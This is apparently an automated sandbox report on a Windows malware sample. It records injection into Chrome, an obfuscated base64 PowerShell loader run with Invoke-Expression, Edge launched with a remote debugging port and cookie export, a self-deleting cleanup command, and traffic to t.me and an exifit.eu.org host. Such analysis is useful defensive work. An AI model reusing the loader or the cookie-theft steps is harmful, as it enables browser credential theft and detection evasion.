PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 4376 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5092 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5092 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 5064 wrote to memory of 5956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Processes

C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe

"C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe"

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JAB7ADAAeAAxAGEAMgBiADMAYwB9AD0AWwBTAHkAcwB0AGUAbQAuAFIAYQBuAGQAbwBtAF0AOgA6AG4AZQB3ACgAKQA7ACQAewAwAHgANABkADUAZQA2AGYAfQA9ACYAKABbAGMAaABhAHIAWwBdAF0AKAA3ADEALAAxADAAMQAsADEAMQA2ACwANAA1ACwANgA4ACwAOQA3ACwAMQAxADYALAAxADAAMQApAC0AagBvAGkAbgAnACcAKQA6ADoAbgBlAHcAKAApADsAJAB7ADAAeAA3AGcAOABoADkAaQB9AD0AJABuAHUAbABsADsAJAB7ADAAeABqADAAawAxAGwAMgB9AD0AQAAoACkAOwAkAHsAMAB4AG0AMwBuADQAbwA1AH0APQAoAFsAYwBoAGEAcgBbAF0AXQAoADEAMQAxACwAOQA4ACwAOQA5ACwAOQA3ACwAMQAxADYALAAxADAANQAsADEAMQAxACwAMQAxADAAKQAtAGoAbwBpAG4AJwAnACkAOwAkAHsAMAB4AHAANgBxADcAcgA4AH0APQAxAC4ALgAxADAAfAAmACgAWwBjAGgAYQByAFsAXQBdACgANwAwACwAMQAxADEALAAxADEANAAsADYAOQAsADkANwAsADkAOQAsADEAMAA0ACwANAA1ACwANwA5ACwAOQA4ACwAMQAwADYALAAxADAAMQAsADkAOQAsADEAMQA2ACkALQBqAG8AaQBuACcAJwApAHsAJAB7ADAAeAAxAGEAMgBiADMAYwB9AC4ATgBlAHgAdAAoACkAfQA7ACQAewAwAHgAcwA5AHQAMAB1ADEAfQA9ACYAKABbAGMAaABhAHIAWwBdAF0AKAA3ADEALAAxADAAMQAsADEAMQA2ACwANAA1ACwAOAAwACwAMQAxADQALAAxADEAMQAsADkAOQAsADEAMAAxACwAMQAxADUALAAxADEANQApAC0AagBvAGkAbgAnACcAKQB8ACYAKABbAGMAaABhAHIAWwBdAF0AKAA4ADMALAAxADAAMQAsADEAMAA4ACwAMQAwADEALAA5ADkALAAxADEANgAsADQANQAsADcAOQAsADkAOAAsADEAMAA2ACwAMQAwADEALAA5ADkALAAxADEANgApAC0AagBvAGkAbgAnACcAKQAtAEYAaQByAHMAdAAgADMAOwAkAHsAMAB4AHYAMgB3ADMAeAA0AH0APQBbAFMAeQBzAHQAZQBtAC4ARwBDAF0AOgA6AEcAZQB0AFQAbwB0AGEAbABNAGUAbQBvAHIAeQAoACQAZgBhAGwAcwBlACkAOwAkAHsAMAB4AHkANQB6ADYAYQA3AH0APQAoAFsAYwBoAGEAcgBbAF0AXQAoADEAMAA5ACwAMQAxADEALAAxADEANAAsADEAMAAxACwAMQAwADYALAAxADEANwAsADEAMQAwACwAMQAwADcAKQAtAGoAbwBpAG4AJwAnACkAOwAkAHsAMAB4AGIAOABjADkAZAAwAGUAMQB9AD0AQAB7AGYAYQBrAGUAPQAnAGQAYQB0AGEAJwA7AG0AbwByAGUAPQAnAHMAdAB1AGYAZgAnAH0AOwAkAGEAPQA1ADAANgA0ADsAJABiAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADcARQAzADgALgB0AG0AcAAnADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAbgBFAHcALQBvAEIAagBFAEMAVAAgAHMAeQBzAHQARQBtAC4ASQBvAC4AQwBvAG0AUABSAEUAUwBzAEkATwBuAC4ARABFAGYAbABhAFQAZQBzAFQAUgBFAGEATQAoAFsAaQBPAC4AbQBlAE0ATwBSAHkAcwB0AFIARQBhAE0AXQBbAGMATwBuAHYARQByAHQAXQA6ADoAZgByAG8ATQBCAEEAUwBFADYANABzAHQAcgBpAG4ARwAoACcAcgBWAFgAZgBiADkAbwB3AEUASAA3AFAAWAArAEUAeABIAGgATABKAG8AQQB6AFEAZgBoAFIARgBLAGcAMwB0AFYAcQBuAFQATwBtAEIAYgBWADgAUwBEAFMAUQA0AFMAegBiAEUAagB4ADQARwB3AHcAdgA4ACsASgB6AEUAdABhAGIATwBwAFYAUABNAEQAdgBvAHQAOQA5ADkAMwBIAGQAeQBlAC8AUgBqADkAWABxADYAKwBMAFcAKwBxAHYAUAByAHcAegBtAG8AawBrAFEAawA3AEMAQwBKAEMARABQAG8ASgBzAEQAWQBrAEUAdwArAGYAbwB6AGsAQgBxAE4AYgAxAFUAQwBHAEIAUABMAGgAUgBuAFEARQBtAGMAZwBLACsAKwBtADUAVgA3AEwAZgBTAFEAMQBXAHAAUAB1AEMAUgAwAEQAQgA1AG4AZgBtAEwAcwAwAEQAbwBJAEsAYQBpAEEAZgBYAEMATABTAHQAUwAxAEQARwBQAGcAKwA2ADMASgBKAGwAYgBSACsAZQA4AFEARgBpAEUATABaAGMAZwBaAE8AbQAwAFkAYQBSAEsAeQBKAFIAcAB2AEUAZwBsAFIALwA5AEIAcABqADEASQBtAEYAVQByADcAawBrAGsAUQBQAEIANgBEAFcASQBVAGUASgBIADAAagBUAHUAYwAwADkASgBCAEgAUwBaAEsAZwBtADUASwBNAEsAaQBHAFIASwBBADIAWgBSAEEAUABIAHoAbQB6AGIANwB1AEMAegAzAE8AagBaAE4AbgBiAEwATAArAC8AeABzAEQAQQA2AE4AagA0AHYAagBEAGQAMgB2AHcAaQBlAEQAaQBtADkAagBHAEkAdQBwAE4AbgA0AEIAWQBJAEIANwBYAFkAYQAxAGsAdwBSAGwAUQBvAEgATQBvAFgAUABrAEMAcgBqAFcAZwByADAASgBRAFoAMgBMAGIAZwBxAEoARABFAEwAdQBBAHoAUABPAGEAZABvAGcAdwB2AHYAdAAzAFYARQB5AGkATABRAHAAVAB5AEIAVAA0AFQANQBGAEUAeQBOAGsAVgBuAEgAMQAvAFUAOQBGAEQASQBsAGQARQBBAHAAOQA4ADYAegArADAAeABZAEcALwB2AHkAeQBvADIAVQAyAC8AegBvAFkAbgArAEkAVQBJAEsAbQAvAHgAawBpAEwAagBZADEAUwBQAE8ATgBoAE8AbgBzAEEAWQB1AG4AVwBwAG4AagA4AFQAUQByAGgAUwBqAEIAawA3AFcAOAB2AG0AbgByAGYAOABCAGQAMABEAFEASgBMAGwAVQBuAGkAZABUAEwARwA5AFEAbABYAGcARAAvAHcAbgB5AEIAVQBLADQAQQBOAFcAVQBqADkAZQBkAEoAbQBBAFQASwA4AGYAOAB1AGwAdgBiAEoAMwBwAGkAWABCADkANwBlADkAegBXACsAbgBnAGkATgBWADEAQQBaAGwAZAAwAFoANwA5AFgAdwByAFgASgBRADgAcQBXAGoAQQArAGUAdwBtAFEAZgBiAHMANgAyADcASABXADcAUAA4AFkATABRAEIASABDAHMAYwArAGMAcgBYAEoAaQBCADQANQBSAGgANwBWAHMAMQBqAFoAWQBBAG0AUwBwAE8AeABkAFgAKwA0ADgAUwBSADgANgBnAGIAQQAzAHcAUQBpADQAdgBLAEwATAA5ADkAQgBXAHcAcABBADIAeABuAFgAVABXAGMAVwB6AHYAcgBxAEUAMQA1AFAAYgB1AEsASABGAFcAUgA3AHcANABIAEoAcgBEADYAbABVAHAAMgA5ADQARQBGAGUAOQA1AFgAOABhACsAZQBOAEYARwBBAEkAMgB4AHEARABRAC8AcgA2AE4AbABGADgAMwBEAHIASwBKAEIAMQBBAFYASQB6AEcAVABtAE0ALwA1AGgAdABEAHIAQgArAE4AawBDAGUAdQBiADQAcABhAHoAawA4AE8ANgA4AFcAUwBqAG8AMQAzAFYAZwBWAHkAMQBZADQAVgBmADkAUQBqAEkAcABRADgAawBWAEMAMQBkADkAUwBaAEgAVgBmADcAWQB5AGQAMABUAGgARgByAFMAdgBDAGwAaQBsAFoAQQBuAEwASABBAFIARwB4ADAAZgBTAGQAcQBjAHYAWgBDAG8AUwBjAG4AWgB4AGMAQwBCADYAZABrAFEAVABlADkAcwBaAFMAcQBFAGYARQBOAFAAUAAzAFQASgAxAEwAOQBYAEsAaAAxAG8AaQBzAFUAWABOAHUAVwBjAGIAMABSAGwAMABlAG0AZABOAGMAbABHADUAbgAxAGkAUwA0ADYAVgB0AC8AQQBBAD0APQAnACkALABbAHMAeQBTAFQAZQBNAC4ASQBvAC4AQwBPAG0AUAByAGUAUwBzAGkATwBOAC4AYwBPAG0AcAByAGUAUwBTAGkATwBOAE0AbwBkAGUAXQA6ADoAZABFAEMAbwBtAHAAcgBlAFMAUwApAHwAJQB7AG4ARQB3AC0AbwBCAGoARQBDAFQAIABJAE8ALgBzAHQAUgBlAGEAbQByAGUAYQBkAEUAUgAoACQAXwAsAFsAUwBZAFMAVABlAG0ALgBUAGUAeAB0AC4AZQBuAGMAbwBEAGkATgBHAF0AOgA6AEEAcwBjAGkASQApAH0AfAAlAHsAJABfAC4AUgBlAGEARABUAE8AZQBOAGQAKAApAH0AKQAgAA==

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd85b3dcf8,0x7ffd85b3dd04,0x7ffd85b3dd10

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1928,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=1924 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1428,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2200 /prefetch:11

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2360,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3044 /prefetch:13

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2940,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3076 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2932,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3064 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4032,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4052 /prefetch:9

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4536,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4596 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4728,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5112 /prefetch:14

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aw4f5ufg\aw4f5ufg.cmdline"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5256,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5420 /prefetch:14

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8F40.tmp" "c:\Users\Admin\AppData\Local\Temp\aw4f5ufg\CSCA182C6B590C24306A89C75F459F6FB14.TMP"

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x250,0x7ffd77aff208,0x7ffd77aff214,0x7ffd77aff220

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1836,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=2224 /prefetch:11

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1964,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=1744 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1924,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:13

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3448,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3456,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4564,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=5016 /prefetch:14

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4980,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:14

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6108,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:14

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6336,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:14

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6336,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:14

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6412,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6424 /prefetch:14

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe

cookie_exporter.exe --cookie-json=1132

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6128,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6232 /prefetch:14

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe

cookie_exporter.exe --cookie-json=592

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\ec2v3" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 11

Network

Country Destination Domain Proto
US 8.8.8.8:53 t.me udp
NL 149.154.167.99:443 t.me tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
US 104.18.21.213:80 e5.c.lencr.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com tcp
GB 142.250.187.234:443 ogads-pa.clients6.google.com udp
GB 142.250.117.113:443 apis.google.com udp
GB 142.250.187.234:443 ogads-pa.clients6.google.com tcp
GB 142.250.187.234:443 ogads-pa.clients6.google.com udp
GB 142.250.179.238:443 play.google.com udp
GB 142.250.179.238:443 play.google.com udp
GB 172.217.16.238:443 clients2.google.com udp
N/A 224.0.0.251:5353 udp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 ntp.msn.com udp
US 8.8.8.8:53 ntp.msn.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 150.171.28.11:80 edge.microsoft.com tcp
US 204.79.197.203:443 ntp.msn.com tcp
US 8.8.8.8:53 copilot.microsoft.com udp
US 8.8.8.8:53 copilot.microsoft.com udp
US 8.8.8.8:53 api.edgeoffer.microsoft.com udp
US 8.8.8.8:53 api.edgeoffer.microsoft.com udp
US 150.171.27.11:443 edge.microsoft.com tcp
GB 2.18.27.68:443 copilot.microsoft.com tcp
US 13.107.246.64:443 api.edgeoffer.microsoft.com tcp
US 204.79.197.203:443 ntp.msn.com tcp
US 13.107.246.64:443 api.edgeoffer.microsoft.com tcp
GB 2.18.27.68:443 copilot.microsoft.com tcp
US 204.79.197.203:443 ntp.msn.com tcp
US 13.107.246.64:443 api.edgeoffer.microsoft.com tcp
GB 2.18.27.68:443 copilot.microsoft.com tcp
US 8.8.8.8:53 img-s-msn-com.akamaized.net udp
US 8.8.8.8:53 img-s-msn-com.akamaized.net udp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 8.8.8.8:53 th.bing.com udp
US 8.8.8.8:53 th.bing.com udp
US 8.8.8.8:53 assets.msn.com udp
US 8.8.8.8:53 assets.msn.com udp
US 8.8.8.8:53 c.msn.com udp
US 8.8.8.8:53 c.msn.com udp
US 8.8.8.8:53 c.bing.com udp
US 8.8.8.8:53 c.bing.com udp
GB 2.22.144.74:443 assets.msn.com tcp
GB 2.22.144.74:443 assets.msn.com tcp
GB 2.18.27.76:443 www.bing.com tcp
GB 2.22.144.74:443 assets.msn.com tcp
US 150.171.28.10:443 c.bing.com tcp
IE 13.74.129.1:443 c.msn.com tcp
GB 2.18.27.82:443 www.bing.com tcp
US 13.226.155.104:443 sb.scorecardresearch.com tcp
GB 2.19.252.151:443 img-s-msn-com.akamaized.net tcp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 150.171.27.11:443 edge.microsoft.com tcp
GB 2.22.144.74:443 assets.msn.com udp
US 8.8.8.8:53 browser.events.data.msn.com udp
US 8.8.8.8:53 browser.events.data.msn.com udp
GB 2.22.144.74:443 assets.msn.com udp
US 20.189.173.5:443 browser.events.data.msn.com tcp
GB 2.19.252.151:443 img-s-msn-com.akamaized.net udp
US 20.189.173.5:443 browser.events.data.msn.com tcp
IE 13.74.129.1:443 c.msn.com tcp
GB 2.22.144.74:443 assets.msn.com udp
GB 2.22.144.74:443 assets.msn.com tcp
US 8.8.8.8:53 srtb.msn.com udp
US 8.8.8.8:53 srtb.msn.com udp
US 204.79.197.203:443 srtb.msn.com tcp
US 204.79.197.203:443 srtb.msn.com tcp
GB 2.18.27.82:443 www.bing.com tcp
